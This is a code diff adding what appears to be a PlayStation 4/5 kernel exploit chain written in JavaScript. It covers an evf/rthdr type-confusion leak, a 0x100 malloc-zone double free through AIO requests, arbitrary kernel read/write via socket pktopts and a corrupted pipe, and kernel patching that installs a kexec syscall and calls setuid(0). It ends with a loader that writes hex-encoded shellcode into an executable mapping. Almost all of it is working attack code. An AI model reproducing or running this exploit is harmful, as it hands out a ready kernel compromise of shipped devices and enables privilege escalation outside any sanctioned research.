+    const sd = sd_pair[0];
+    const buf = new Buffer(0x80 * leak_len);
+
+    // type confuse a struct evf with a struct ip6_rthdr. the flags of the evf
+    // must be set to >= 0xf00 in order to fully leak the contents of the rthdr
+    log('confuse evf with rthdr');
+    let evf = null;
+    for (let i = 0; i < num_alias; i++) {
+        const evfs = [];
+        for (let i = 0; i < num_handles; i++) {
+            evfs.push(new_evf(0xf00 | i << 16));
+        }
+
+        get_rthdr(sd, buf, 0x80);
+        // for simplicity, we'll assume i < 2**16
+        const flags32 = buf.read32(0);
+        evf = evfs[flags32 >>> 16];
+
+        set_evf_flags(evf, flags32 | 1);
+        get_rthdr(sd, buf, 0x80);
+
+        if (buf.read32(0) === flags32 | 1) {
+            evfs.splice(flags32 >> 16, 1);
+        } else {
+            evf = null;
+        }
+
+        for (const evf of evfs) {
+            free_evf(evf);
+        }
+
+        if (evf !== null) {
+            log(`confused rthdr and evf at attempt: ${i}`);
+            break;
+        }
+    }
+
+    if (evf === null) {
+        die('failed to confuse evf and rthdr');
+    }
+
+    set_evf_flags(evf, 0xff << 8);
+    get_rthdr(sd, buf, 0x80);
+
+    // fields we use from evf (number before the field is the offset in hex):
+    // struct evf:
+    //     0 u64 flags
+    //     28 struct cv cv
+    //     38 TAILQ_HEAD(struct evf_waiter) waiters
+
+    // evf.cv.cv_description = "evf cv"
+    // string is located at the kernel's mapped ELF file
+    const kernel_addr = buf.read64(0x28);
+    log(`"evf cv" string addr: ${kernel_addr}`);
+    // because of TAILQ_INIT(), we have:
+    //
+    // evf.waiters.tqh_last == &evf.waiters.tqh_first
+    //
+    // we now know the address of the kernel buffer we are leaking
+    const kbuf_addr = buf.read64(0x40).sub(0x38);
+    log(`kernel buffer addr: ${kbuf_addr}`);
+
+    // 0x80 < num_elems * sizeof(SceKernelAioRWRequest) <= 0x100
+    // allocate reqs1 arrays at 0x100 malloc zone
+    const num_elems = 6;
+    // use reqs1 to fake a aio_info. set .ai_cred (offset 0x10) to offset 4 of
+    // the reqs2 so crfree(ai_cred) will harmlessly decrement the .ar2_ticket
+    // field
+    const ucred = kbuf_addr.add(4);
+
+    const leak_reqs = make_reqs1(num_elems);
+    const leak_reqs_p = leak_reqs.addr;
+    leak_reqs.write64(0x10, ucred);
+
+    const leak_ids_len = num_handles * num_elems;
+    const leak_ids = new View4(leak_ids_len);
+    const leak_ids_p = leak_ids.addr;
+
+    log('find aio_entry');
+    let reqs2_off = null;
+    loop: for (let i = 0; i < num_leaks; i++) {
+        get_rthdr(sd, buf);
+
+        spray_aio(
+            num_handles,
+            leak_reqs_p,
+            num_elems,
+            leak_ids_p,
+            true,
+            AIO_CMD_WRITE,
+        );
+
+        get_rthdr(sd, buf);
+        for (let off = 0x80; off < buf.length; off += 0x80) {
+            if (verify_reqs2(buf, off)) {
+                reqs2_off = off;
+                log(`found reqs2 at attempt: ${i}`);
+                break loop;
+            }
+        }
+
+        free_aios(leak_ids_p, leak_ids_len);
+    }
+    if (reqs2_off === null) {
+        die('could not leak a reqs2');
+    }
+    log(`reqs2 offset: ${hex(reqs2_off)}`);
+
+    get_rthdr(sd, buf);
+    const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80);
+    log('leaked aio_entry:');
+    hexdump(reqs2);
+
+    const reqs1_addr = new Long(reqs2.read64(0x10));
+    log(`reqs1_addr: ${reqs1_addr}`);
+    reqs1_addr.lo &= -0x100;
+    log(`reqs1_addr: ${reqs1_addr}`);
+
+    log('searching target_id');
+    let target_id = null;
+    let to_cancel_p = null;
+    let to_cancel_len = null;
+    for (let i = 0; i < leak_ids_len; i += num_elems) {
+        aio_multi_cancel(leak_ids_p.add(i << 2), num_elems);
+
+        get_rthdr(sd, buf);
+        const state = buf.read32(reqs2_off + 0x38);
+        if (state === AIO_STATE_ABORTED) {
+            log(`found target_id at batch: ${i / num_elems}`);
+
+            target_id = new Word(leak_ids[i]);
+            leak_ids[i] = 0;
+            log(`target_id: ${hex(target_id)}`);
+
+            const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80);
+            log('leaked aio_entry:');
+            hexdump(reqs2);
+
+            const start = i + num_elems;
+            to_cancel_p = leak_ids.addr_at(start);
+            to_cancel_len = leak_ids_len - start;
+            break;
+        }
+    }
+    if (target_id === null) {
+        die('target_id not found');
+    }
+
+    cancel_aios(to_cancel_p, to_cancel_len);
+    free_aios2(leak_ids_p, leak_ids_len);
+
+    return [reqs1_addr, kbuf_addr, kernel_addr, target_id, evf];
+}
+
+// FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE
+
+function make_aliased_pktopts(sds) {
+    const tclass = new Word();
+    for (let loop = 0; loop < num_alias; loop++) {
+        for (let i = 0; i < num_sds; i++) {
+            tclass[0] = i;
+            ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
+        }
+
+        for (let i = 0; i < sds.length; i++) {
+            gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
+            const marker = tclass[0];
+            if (marker !== i) {
+                log(`aliased pktopts at attempt: ${loop}`);
+                const pair = [sds[i], sds[marker]];
+                log(`found pair: ${pair}`);
+                sds.splice(marker, 1);
+                sds.splice(i, 1);
+                // add pktopts to the new sockets now while new allocs can't
+                // use the double freed memory
+                for (let i = 0; i < 2; i++) {
+                    const sd = new_socket();
+                    ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
+                    sds.push(sd);
+                }
+
+                return pair;
+            }
+        }
+
+        for (let i = 0; i < num_sds; i++) {
+            setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
+        }
+    }
+    die('failed to make aliased pktopts');
+}
+
+function double_free_reqs1(
+    reqs1_addr, kbuf_addr, target_id, evf, sd, sds,
+) {
+    const max_leak_len = (0xff + 1) << 3;
+    const buf = new Buffer(max_leak_len);
+
+    const num_elems = max_aio_ids;
+    const aio_reqs = make_reqs1(num_elems);
+    const aio_reqs_p = aio_reqs.addr;
+
+    const num_batches = 2;
+    const aio_ids_len = num_batches * num_elems;
+    const aio_ids = new View4(aio_ids_len);
+    const aio_ids_p = aio_ids.addr;
+
+    log('start overwrite rthdr with AIO queue entry loop');
+    let aio_not_found = true;
+    free_evf(evf);
+    for (let i = 0; i < num_clobbers; i++) {
+        spray_aio(num_batches, aio_reqs_p, num_elems, aio_ids_p);
+
+        if (get_rthdr(sd, buf) === 8 && buf.read32(0) === AIO_CMD_READ) {
+            log(`aliased at attempt: ${i}`);
+            aio_not_found = false;
+            cancel_aios(aio_ids_p, aio_ids_len);
+            break;
+        }
+
+        free_aios(aio_ids_p, aio_ids_len);
+    }
+    if (aio_not_found) {
+        die('failed to overwrite rthdr');
+    }
+
+    const reqs2 = new Buffer(0x80);
+    const rsize = build_rthdr(reqs2, reqs2.size);
+    // .ar2_ticket
+    reqs2.write32(4, 5);
+    // .ar2_info
+    reqs2.write64(0x18, reqs1_addr);
+    // craft a aio_batch using the end portion of the buffer
+    const reqs3_off = 0x28;
+    // .ar2_batch
+    reqs2.write64(0x20, kbuf_addr.add(reqs3_off));
+
+    // [.ar3_num_reqs, .ar3_reqs_left] aliases .ar2_spinfo
+    // safe since free_queue_entry() doesn't deref the pointer
+    reqs2.write32(reqs3_off, 1);
+    reqs2.write32(reqs3_off + 4, 0);
+    // [.ar3_state, .ar3_done] aliases .ar2_result.returnValue
+    reqs2.write32(reqs3_off + 8, AIO_STATE_COMPLETE);
+    reqs2[reqs3_off + 0xc] = 0;
+    // .ar3_lock aliases .ar2_qentry (rest of the buffer is padding)
+    // safe since the entry already got dequeued
+    //
+    // .ar3_lock.lock_object.lo_flags = (
+    //     LO_SLEEPABLE | LO_UPGRADABLE
+    //     | LO_RECURSABLE | LO_DUPOK | LO_WITNESS
+    //     | 6 << LO_CLASSSHIFT
+    //     | LO_INITIALIZED
+    // )
+    reqs2.write32(reqs3_off + 0x28, 0x67b0000);
+    // .ar3_lock.lk_lock = LK_UNLOCKED
+    reqs2.write64(reqs3_off + 0x38, 1);
+
+    const states = new View4(num_elems);
+    const states_p = states.addr;
+    const addr_cache = [aio_ids_p];
+    for (let i = 1; i < num_batches; i++) {
+        addr_cache.push(aio_ids_p.add((i * num_elems) << 2));
+    }
+
+    log('start overwrite AIO queue entry with rthdr loop');
+    let req_id = null;
+    close(sd);
+    sd = null;
+    loop: for (let i = 0; i < num_alias; i++) {
+        for (const sd of sds) {
+            set_rthdr(sd, reqs2, rsize);
+        }
+
+        for (let batch = 0; batch < addr_cache.length; batch++) {
+            states.fill(-1);
+            aio_multi_cancel(addr_cache[batch], num_elems, states_p);
+
+            const req_idx = states.indexOf(AIO_STATE_COMPLETE);
+            if (req_idx !== -1) {
+                log(`req_idx: ${req_idx}`);
+                log(`found req_id at batch: ${batch}`);
+                log(`states: ${[...states].map(e => hex(e))}`);
+                log(`states[${req_idx}]: ${hex(states[req_idx])}`);
+                log(`aliased at attempt: ${i}`);
+
+                const aio_idx = batch*num_elems + req_idx;
+                req_id = new Word(aio_ids[aio_idx]);
+                log(`req_id: ${hex(req_id)}`);
+                aio_ids[aio_idx] = 0;
+
+                // set .ar3_done to 1
+                poll_aio(req_id, states);
+                log(`states[${req_idx}]: ${hex(states[0])}`);
+                for (let i = 0; i < num_sds; i++) {
+                    const sd2 = sds[i];
+                    get_rthdr(sd2, reqs2);
+                    const done = reqs2[reqs3_off + 0xc];
+                    if (done) {
+                        hexdump(reqs2);
+                        sd = sd2;
+                        sds.splice(i, 1);
+                        free_rthdrs(sds);
+                        sds.push(new_socket());
+                        break;
+                    }
+                }
+                if (sd === null) {
+                    die("can't find sd that overwrote AIO queue entry");
+                }
+                log(`sd: ${sd}`);
+
+                break loop;
+            }
+        }
+    }
+    if (req_id === null) {
+        die('failed to overwrite AIO queue entry');
+    }
+    free_aios2(aio_ids_p, aio_ids_len);
+
+    // enable deletion of target_id
+    poll_aio(target_id, states);
+    log(`target's state: ${hex(states[0])}`);
+
+    const sce_errs = new View4([-1, -1]);
+    const target_ids = new View4([req_id, target_id]);
+    // PANIC: double free on the 0x100 malloc zone. important kernel data may
+    // alias
+    aio_multi_delete(target_ids.addr, 2, sce_errs.addr);
+
+    // we reclaim first since the sanity checking here is longer which makes it
+    // more likely that we have another process claim the memory
+    try {
+        // RESTORE: double freed memory has been reclaimed with harmless data
+        // PANIC: 0x100 malloc zone pointers aliased
+        const sd_pair = make_aliased_pktopts(sds);
+        return [sd_pair, sd];
+    } finally {
+        log(`delete errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`);
+
+        states[0] = -1;
+        states[1] = -1;
+        poll_aio(target_ids, states);
+        log(`target states: ${hex(states[0])}, ${hex(states[1])}`);
+
+        const SCE_KERNEL_ERROR_ESRCH = 0x80020003;
+        let success = true;
+        if (states[0] !== SCE_KERNEL_ERROR_ESRCH) {
+            log('ERROR: bad delete of corrupt AIO request');
+            success = false;
+        }
+        if (sce_errs[0] !== 0 || sce_errs[0] !== sce_errs[1]) {
+            log('ERROR: bad delete of ID pair');
+            success = false;
+        }
+
+        if (!success) {
+            die('ERROR: double free on a 0x100 malloc zone failed');
+        }
+    }
+}
+
+// FUNCTIONS FOR STAGE: MAKE ARBITRARY KERNEL READ/WRITE
+
+// k100_addr is double freed 0x100 malloc zone address
+// dirty_sd is the socket whose rthdr pointer is corrupt
+// kernel_addr is the address of the "evf cv" string
+function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
+    const psd = pktopts_sds[0];
+    const tclass = new Word();
+    const off_tclass = is_ps4 ? 0xb0 : 0xc0;
+
+    const pktopts = new Buffer(0x100);
+    const rsize = build_rthdr(pktopts, pktopts.size);
+    const pktinfo_p = k100_addr.add(0x10);
+    // pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo
+    pktopts.write64(0x10, pktinfo_p);
+
+    log('overwrite main pktopts');
+    let reclaim_sd = null;
+    close(pktopts_sds[1]);
+    for (let i = 0; i < num_alias; i++) {
+        for (let i = 0; i < num_sds; i++) {
+            // if a socket doesn't have a pktopts, setting the rthdr will make
+            // one. the new pktopts might reuse the memory instead of the
+            // rthdr. make sure the sockets already have a pktopts before
+            pktopts.write32(off_tclass, 0x4141 | i << 16);
+            set_rthdr(sds[i], pktopts, rsize);
+        }
+
+        gsockopt(psd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
+        const marker = tclass[0];
+        if ((marker & 0xffff) === 0x4141) {
+            log(`found reclaim sd at attempt: ${i}`);
+            const idx = marker >>> 16;
+            reclaim_sd = sds[idx];
+            sds.splice(idx, 1);
+            break;
+        }
+    }
+    if (reclaim_sd === null) {
+        die('failed to overwrite main pktopts');
+    }
+
+    const pktinfo = new Buffer(0x14);
+    pktinfo.write64(0, pktinfo_p);
+    const nhop = new Word();
+    const nhop_p = nhop.addr;
+    const read_buf = new Buffer(8);
+    const read_buf_p = read_buf.addr;
+    function kread64(addr) {
+        const len = 8;
+        let offset = 0;
+        while (offset < len) {
+            // pktopts.ip6po_nhinfo = addr + offset
+            pktinfo.write64(8, addr.add(offset));
+            nhop[0] = len - offset;
+
+            ssockopt(psd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
+            sysi(
+                'getsockopt',
+                psd, IPPROTO_IPV6, IPV6_NEXTHOP,
+                read_buf_p.add(offset), nhop_p,
+            );
+
+            const n = nhop[0];
+            if (n === 0) {
+                read_buf[offset] = 0;
+                offset += 1;
+            } else {
+                offset += n;
+            }
+        }
+        return read_buf.read64(0);
+    }
+
+    log(`kread64(&"evf cv"): ${kread64(kernel_addr)}`);
+    const kstr = jstr(read_buf);
+    log(`*(&"evf cv"): ${kstr}`);
+    if (kstr !== 'evf cv') {
+        die('test read of &"evf cv" failed');
+    }
+
+    // Only For PS4 9.00
+
+    const off_kstr = 0x7f6f27;
+    const kbase = kernel_addr.sub(off_kstr);
+    log(`kernel base: ${kbase}`);
+
+    log('\nmaking arbitrary kernel read/write');
+    const cpuid = 7 - main_core;
+    const off_cpuid_to_pcpu = 0x21ef2a0;
+    const pcpu_p = kbase.add(off_cpuid_to_pcpu + cpuid*8);
+    log(`cpuid_to_pcpu[${cpuid}]: ${pcpu_p}`);
+    const pcpu = kread64(pcpu_p);
+    log(`pcpu: ${pcpu}`);
+    log(`cpuid: ${kread64(pcpu.add(0x30)).hi}`);
+    // __pcpu[cpuid].pc_curthread
+    const td = kread64(pcpu);
+    log(`td: ${td}`);
+
+    const off_td_proc = 8;
+    const proc = kread64(td.add(off_td_proc));
+    log(`proc: ${proc}`);
+    const pid = sysi('getpid');
+    log(`our pid: ${pid}`);
+    const pid2 = kread64(proc.add(0xb0)).lo;
+    log(`suspected proc pid: ${pid2}`);
+    if (pid2 !== pid) {
+        die('process not found');
+    }
+
+    const off_p_fd = 0x48;
+    const p_fd = kread64(proc.add(off_p_fd));
+    log(`proc.p_fd: ${p_fd}`);
+    // curthread->td_proc->p_fd->fd_ofiles
+    const ofiles = kread64(p_fd);
+    log(`ofiles: ${ofiles}`);
+
+    const off_p_ucred = 0x40;
+    const p_ucred = kread64(proc.add(off_p_ucred));
+    log(`p_ucred ${p_ucred}`);
+
+    const pipes = new View4(2);
+    sysi('pipe', pipes.addr);
+    const pipe_file = kread64(ofiles.add(pipes[0] * 8));
+    log(`pipe file: ${pipe_file}`);
+    // ofiles[pipe_fd].f_data
+    const kpipe = kread64(pipe_file);
+    log(`pipe pointer: ${kpipe}`);
+
+    const pipe_save = new Buffer(0x18); // sizeof struct pipebuf
+    for (let off = 0; off < pipe_save.size; off += 8) {
+        pipe_save.write64(off, kread64(kpipe.add(off)));
+    }
+
+    const main_sd = psd;
+    const worker_sd = dirty_sd;
+
+    const main_file = kread64(ofiles.add(main_sd * 8));
+    log(`main sock file: ${main_file}`);
+    // ofiles[sd].f_data
+    const main_sock = kread64(main_file);
+    log(`main sock pointer: ${main_sock}`);
+    // socket.so_pcb (struct inpcb *)
+    const m_pcb = kread64(main_sock.add(0x18));
+    log(`main sock pcb: ${m_pcb}`);
+    // inpcb.in6p_outputopts
+    const m_pktopts = kread64(m_pcb.add(0x118));
+    log(`main pktopts: ${m_pktopts}`);
+    log(`0x100 malloc zone pointer: ${k100_addr}`);
+
+    if (m_pktopts.ne(k100_addr)) {
+        die('main pktopts pointer != leaked pktopts pointer');
+    }
+
+    // ofiles[sd].f_data
+    const reclaim_sock = kread64(kread64(ofiles.add(reclaim_sd * 8)));
+    log(`reclaim sock pointer: ${reclaim_sock}`);
+    // socket.so_pcb (struct inpcb *)
+    const r_pcb = kread64(reclaim_sock.add(0x18));
+    log(`reclaim sock pcb: ${r_pcb}`);
+    // inpcb.in6p_outputopts
+    const r_pktopts = kread64(r_pcb.add(0x118));
+    log(`reclaim pktopts: ${r_pktopts}`);
+
+    // ofiles[sd].f_data
+    const worker_sock = kread64(kread64(ofiles.add(worker_sd * 8)));
+    log(`worker sock pointer: ${worker_sock}`);
+    // socket.so_pcb (struct inpcb *)
+    const w_pcb = kread64(worker_sock.add(0x18));
+    log(`worker sock pcb: ${w_pcb}`);
+    // inpcb.in6p_outputopts
+    const w_pktopts = kread64(w_pcb.add(0x118));
+    log(`worker pktopts: ${w_pktopts}`);
+
+    // get restricted read/write with pktopts pair
+    // main_pktopts.ip6po_pktinfo = &worker_pktopts.ip6po_pktinfo
+    const w_pktinfo = w_pktopts.add(0x10);
+    pktinfo.write64(0, w_pktinfo);
+    pktinfo.write64(8, 0); // clear .ip6po_nexthop
+    ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
+
+    pktinfo.write64(0, kernel_addr);
+    ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
+    gsockopt(worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
+    const kstr2 = jstr(pktinfo);
+    log(`*(&"evf cv"): ${kstr2}`);
+    if (kstr2 !== 'evf cv') {
+        die('pktopts read failed');
+    }
+    log('achieved restricted kernel read/write');
+
+    // in6_pktinfo.ipi6_ifindex must be 0 (or a valid interface index) when
+    // using pktopts write. we can safely modify a pipe even with this limit so
+    // we corrupt that instead for arbitrary read/write. pipe.pipe_map will be
+    // clobbered with zeros but that's okay
+    class KernelMemory {
+        constructor(main_sd, worker_sd, pipes, pipe_addr) {
+            this.main_sd = main_sd;
+            this.worker_sd = worker_sd;
+            this.rpipe = pipes[0];
+            this.wpipe = pipes[1];
+            this.pipe_addr = pipe_addr; // &pipe.pipe_buf
+            this.pipe_addr2 = pipe_addr.add(0x10); // &pipe.pipe_buf.buffer
+            this.rw_buf = new Buffer(0x14);
+            this.addr_buf = new Buffer(0x14);
+            this.data_buf = new Buffer(0x14);
+            this.data_buf.write32(0xc, 0x40000000);
+        }
+
+        _verify_len(len) {
+            if (!(Number.isInteger(len) && (0 <= len <= 0xffffffff))) {
+                throw TypeError('len not a 32-bit unsigned integer');
+            }
+        }
+
+        copyin(src, dst, len) {
+            this._verify_len(len);
+            const main = this.main_sd;
+            const worker = this.worker_sd;
+            const addr_buf = this.addr_buf;
+            const data_buf = this.data_buf;
+
+            addr_buf.write64(0, this.pipe_addr);
+            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+            data_buf.write64(0, 0);
+            ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf);
+
+            addr_buf.write64(0, this.pipe_addr2);
+            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+            addr_buf.write64(0, dst);
+            ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+            sysi('write', this.wpipe, src, len);
+        }
+
+        copyout(src, dst, len) {
+            this._verify_len(len);
+            const main = this.main_sd;
+            const worker = this.worker_sd;
+            const addr_buf = this.addr_buf;
+            const data_buf = this.data_buf;
+
+            addr_buf.write64(0, this.pipe_addr);
+            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+            data_buf.write32(0, 0x40000000);
+            ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf);
+
+            addr_buf.write64(0, this.pipe_addr2);
+            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+            addr_buf.write64(0, src);
+            ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+            sysi('read', this.rpipe, dst, len);
+        }
+
+        _read(addr) {
+            const buf = this.rw_buf;
+            buf.write64(0, addr);
+            buf.fill(0, 8);
+            ssockopt(this.main_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf);
+            gsockopt(this.worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf);
+        }
+
+        read32(addr) {
+            this._read(addr);
+            return this.rw_buf.read32(0);
+        }
+
+        read64(addr) {
+            this._read(addr);
+            return this.rw_buf.read64(0);
+        }
+
+        write32(addr, value) {
+            this.rw_buf.write32(0, value);
+            this.copyin(this.rw_buf.addr, addr, 4);
+        }
+
+        write64(addr, value) {
+            this.rw_buf.write64(0, value);
+            this.copyin(this.rw_buf.addr, addr, 8);
+        }
+    }
+    const kmem = new KernelMemory(main_sd, worker_sd, pipes, kpipe);
+
+    const kstr3_buf = new Buffer(8);
+    kmem.copyout(kernel_addr, kstr3_buf.addr, kstr3_buf.size);
+    const kstr3 = jstr(kstr3_buf);
+    log(`*(&"evf cv"): ${kstr3}`);
+    if (kstr3 !== 'evf cv') {
+        die('pipe read failed');
+    }
+    log('achieved arbitrary kernel read/write');
+
+    // RESTORE: clean corrupt pointer
+     // pktopts.ip6po_rthdr = NULL
+     //ABC Patch
+     const off_ip6po_rthdr = 0x68;
+     const r_rthdr_p = r_pktopts.add(off_ip6po_rthdr);
+     const w_rthdr_p = w_pktopts.add(off_ip6po_rthdr);
+     kmem.write64(r_rthdr_p, 0);
+     kmem.write64(w_rthdr_p, 0);
+     log('corrupt pointers cleaned');
+
+    /*
+    // REMOVE once restore kernel is ready for production
+    // increase the ref counts to prevent deallocation
+    kmem.write32(main_sock, kmem.read32(main_sock) + 1);
+    kmem.write32(worker_sock, kmem.read32(worker_sock) + 1);
+    // +2 since we have to take into account the fget_write()'s reference
+    kmem.write32(pipe_file.add(0x28), kmem.read32(pipe_file.add(0x28)) + 2);*/
+    
+    return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]];
+}
+
+// FUNCTIONS FOR STAGE: PATCH KERNEL
+
+async function get_patches(url) {
+    const response = await fetch(url);
+    if (!response.ok) {
+        throw Error(
+            `Network response was not OK, status: ${response.status}\n`
+            + `failed to fetch: ${url}`);
+    }
+    return response.arrayBuffer();
+}
+
+// 9.00 supported only
+async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
+    if (!is_ps4) {
+        throw RangeError('PS5 kernel patching unsupported');
+    }
+    if (!(0x800 <= version < 0x900)) {
+        throw RangeError('kernel patching unsupported');
+    }
+
+    log('change sys_aio_submit() to sys_kexec()');
+    // sysent[661] is unimplemented so free for use
+    const offset_sysent_661 = 0x1107f00;
+    const sysent_661 = kbase.add(offset_sysent_661);
+    // .sy_narg = 6
+    kmem.write32(sysent_661, 6);
+    // .sy_call = gadgets['jmp qword ptr [rsi]']
+    kmem.write64(sysent_661.add(8), kbase.add(0x4c7ad));
+    // .sy_thrcnt = SY_THR_STATIC
+    kmem.write32(sysent_661.add(0x2c), 1);
+
+    log('add JIT capabilities');
+    // TODO just set the bits for JIT privs
+    // cr_sceCaps[0]
+    kmem.write64(p_ucred.add(0x60), -1);
+    // cr_sceCaps[1]
+    kmem.write64(p_ucred.add(0x68), -1);
+
+    const buf = await get_patches('./kpatch/900.elf');
+    // FIXME handle .bss segment properly
+    // assume start of loadable segments is at offset 0x1000
+    const patches = new View1(await buf, 0x1000);
+    let map_size = patches.size;
+    const max_size = 0x10000000;
+    if (map_size > max_size) {
+        die(`patch file too large (>${max_size}): ${map_size}`);
+    }
+    if (map_size === 0) {
+        die('patch file size is zero');
+    }
+    map_size = map_size+page_size & -page_size;
+
+    const prot_rwx = 7;
+    const prot_rx = 5;
+    const prot_rw = 3;
+    const exec_p = new Int(0, 9);
+    const write_p = new Int(max_size, 9);
+    const exec_fd = sysi('jitshm_create', 0, map_size, prot_rwx);
+    const write_fd = sysi('jitshm_alias', exec_fd, prot_rw);
+
+    const exec_addr = chain.sysp(
+        'mmap',
+        exec_p,
+        map_size,
+        prot_rx,
+        MAP_SHARED|MAP_FIXED,
+        exec_fd,
+        0,
+    );
+    const write_addr = chain.sysp(
+        'mmap',
+        write_p,
+        map_size,
+        prot_rw,
+        MAP_SHARED|MAP_FIXED,
+        write_fd,
+        0,
+    );
+
+    log(`exec_addr: ${exec_addr}`);
+    log(`write_addr: ${write_addr}`);
+    if (exec_addr.ne(exec_p) || write_addr.ne(write_p)) {
+        die('mmap() for jit failed');
+    }
+
+    log('mlock exec_addr for kernel exec');
+    sysi('mlock', exec_addr, map_size);
+
+    // mov eax, 0x1337; ret (0xc300_0013_37b8)
+    const test_code = new Int(0x001337b8, 0xc300);
+    write_addr.write64(0, test_code);
+
+    log('test jit exec');
+    sys_void('kexec', exec_addr);
+    let retval = chain.errno;
+    log('returned successfully');
+
+    log(`jit retval: ${retval}`);
+    if (retval !== 0x1337) {
+        die('test jit exec failed');
+    }
+
+    const pipe_save = restore_info[1];
+    restore_info[1] = pipe_save.addr;
+    log('mlock pipe save data for kernel restore');
+    sysi('mlock', restore_info[1], page_size);
+
+    mem.cpy(write_addr, patches.addr, patches.size);
+    sys_void('kexec', exec_addr, ...restore_info);
+
+    log('setuid(0)');
+    sysi('setuid', 0);
+    log('kernel exploit succeeded!');
+    localStorage.ExploitLoaded="yes"
+    sessionStorage.ExploitLoaded="yes"
+    //alert("kernel exploit succeeded!");
+}
+
+
+
+// FUNCTIONS FOR STAGE: SETUP
+
+function setup(block_fd) {
+    // this part will block the worker threads from processing entries so that
+    // we may cancel them instead. this is to work around the fact that
+    // aio_worker_entry2() will fdrop() the file associated with the aio_entry
+    // on ps5. we want aio_multi_delete() to call fdrop()
+    log('block AIO');
+    const reqs1 = new Buffer(0x28 * num_workers);
+    const block_id = new Word();
+
+    for (let i = 0; i < num_workers; i++) {
+        reqs1.write32(8 + i*0x28, 1);
+        reqs1.write32(0x20 + i*0x28, block_fd);
+    }
+    aio_submit_cmd(AIO_CMD_READ, reqs1.addr, num_workers, block_id.addr);
+
+    {
+        const reqs1 = make_reqs1(1);
+        const timo = new Word(1);
+        const id = new Word();
+        aio_submit_cmd(AIO_CMD_READ, reqs1.addr, 1, id.addr);
+        chain.do_syscall_clear_errno(
+            'aio_multi_wait', id.addr, 1, _aio_errors_p, 1, timo.addr);
+        const err = chain.errno;
+        if (err !== 60) { // ETIMEDOUT
+            die(`SceAIO system not blocked. errno: ${err}`);
+        }
+        free_aios(id.addr, 1);
+    }
+
+    log('heap grooming');
+    // chosen to maximize the number of 0x80 malloc allocs per submission
+    const num_reqs = 3;
+    const groom_ids = new View4(num_grooms);
+    const groom_ids_p = groom_ids.addr;
+    const greqs = make_reqs1(num_reqs);
+    // allocate enough so that we start allocating from a newly created slab
+    spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
+    cancel_aios(groom_ids_p, num_grooms);        
+    return [block_id, groom_ids];
+}
+
+function runBinLoader() {
+    var payload_buffer = chain.sysp('mmap', 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0);
+    var payload_loader = malloc32(0x1000);
+    var BLDR = payload_loader.backing;
+    BLDR[0]  = 0x56415741;  BLDR[1]  = 0x83485541;  BLDR[2]  = 0x894818EC;
+    BLDR[3]  = 0xC748243C;  BLDR[4]  = 0x10082444;  BLDR[5]  = 0x483C2302;
+    BLDR[6]  = 0x102444C7;  BLDR[7]  = 0x00000000;  BLDR[8]  = 0x000002BF;
+    BLDR[9]  = 0x0001BE00;  BLDR[10] = 0xD2310000;  BLDR[11] = 0x00009CE8;
+    BLDR[12] = 0xC7894100;  BLDR[13] = 0x8D48C789;  BLDR[14] = 0xBA082474;
+    BLDR[15] = 0x00000010; BLDR[16] = 0x000095E8;  BLDR[17] = 0xFF894400;
+    BLDR[18] = 0x000001BE; BLDR[19] = 0x0095E800;  BLDR[20] = 0x89440000;
+    BLDR[21] = 0x31F631FF; BLDR[22] = 0x0062E8D2;  BLDR[23] = 0x89410000;
+    BLDR[24] = 0x2C8B4CC6;  BLDR[25] = 0x45C64124;  BLDR[26] = 0x05EBC300;
+    BLDR[27] = 0x01499848; BLDR[28] = 0xF78944C5; BLDR[29] = 0xBAEE894C;
+    BLDR[30] = 0x00001000; BLDR[31] = 0x000025E8; BLDR[32] = 0x7FC08500;
+    BLDR[33] = 0xFF8944E7; BLDR[34] = 0x000026E8; BLDR[35] = 0xF7894400;
+    BLDR[36] = 0x00001EE8; BLDR[37] = 0x2414FF00; BLDR[38] = 0x18C48348;
+    BLDR[39] = 0x5E415D41; BLDR[40] = 0x31485F41; BLDR[41] = 0xC748C3C0;
+    BLDR[42] = 0x000003C0; BLDR[43] = 0xCA894900; BLDR[44] = 0x48C3050F;
+    BLDR[45] = 0x0006C0C7; BLDR[46] = 0x89490000; BLDR[47] = 0xC3050FCA;
+    BLDR[48] = 0x1EC0C748; BLDR[49] = 0x49000000; BLDR[50] = 0x050FCA89;
+    BLDR[51] = 0xC0C748C3; BLDR[52] = 0x00000061; BLDR[53] = 0x0FCA8949;
+    BLDR[54] = 0xC748C305; BLDR[55] = 0x000068C0; BLDR[56] = 0xCA894900;
+    BLDR[57] = 0x48C3050F; BLDR[58] = 0x006AC0C7; BLDR[59] = 0x89490000;
+    BLDR[60] = 0xC3050FCA;
+
